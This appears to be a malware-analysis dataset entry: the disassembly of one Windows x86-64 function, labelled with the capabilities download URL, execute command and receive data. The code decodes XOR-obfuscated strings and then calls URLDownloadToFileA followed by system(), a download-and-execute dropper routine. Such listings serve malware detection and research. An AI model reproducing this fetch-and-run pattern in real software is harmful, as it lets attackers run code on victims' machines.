Function at 0x140006440
Capabilities:
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rax, qword [0x1400d5180]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov byte [rbp - 0x39], 0x46
mov al, reloc.WS2_32.dll_send
mov cl, 0x36
mov dl, 0x22
mov r8b, 0x27
mov r9b, 0x32
mov r10b, 0x23
mov r11b, 0x6b
xor bl, bl
mov dil, 0x2f
mov sil, 0x2a
movzx r14d, r10b
xor r15d, r15d
xor al, 0x46
mov byte [rbp - 0x38], al
xor cl, 0x46
mov byte [rbp - 0x37], cl
xor dl, 0x46
mov byte [rbp - 0x36], dl
xor r8b, 0x46
mov byte [rbp - 0x35], r8b
xor r9b, 0x46
mov byte [rbp - 0x34], r9b
xor r10b, 0x46
mov byte [rbp - 0x33], r10b
xor r11b, 0x46
mov byte [rbp - 0x32], r11b
xor bl, 0x46
mov byte [rbp - 0x31], bl
xor dil, 0x46
mov byte [rbp - 0x30], dil
xor sil, 0x46
mov byte [rbp - 0x2f], sil
xor r14b, 0x46
mov byte [rbp - 0x2e], r14b
mov byte [rbp - 0x2d], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
lea rax, [rbp - 0x38]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140006503
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x29]
call fcn.1400031d0
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x17]
call fcn.140061ab0
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140006566
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006561
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006561
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a719c
movdqa xmm0, xmmword [0x1400bb100]
movdqu xmmword [rbp - 0x19], xmm0
mov byte [rbp - 0x29], 0
movdqa xmm1, xmmword [0x1400bb170]
movdqu xmmword [rbp - 0x39], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x38], al
xor byte [rbp - 0x37], cl
xor byte [rbp - 0x36], cl
xor byte [rbp - 0x35], cl
xor byte [rbp - 0x34], cl
xor byte [rbp - 0x33], cl
xor byte [rbp - 0x32], cl
xor byte [rbp - 0x31], cl
xor byte [rbp - 0x30], cl
xor byte [rbp - 0x2f], cl
xor byte [rbp - 0x2e], cl
xor byte [rbp - 0x2d], cl
xor byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], cl
mov byte [rbp - 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
lea rax, [rbp - 0x38]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400065e0
mov r8, rbx
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 9]
call fcn.1400031d0
lea r8, [rbp - 9]
cmp qword [rbp + 0xf], 0xf
cmova r8, qword [rbp - 9]
lea rdx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rdx, qword [rbp + 0x17]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 0xf
cmova rcx, qword [rbp - 9]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x14000667b
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006676
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006676
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a719c
movdqa xmm0, xmmword [0x1400bb100]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x1400066ca
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a719c
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a7140
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret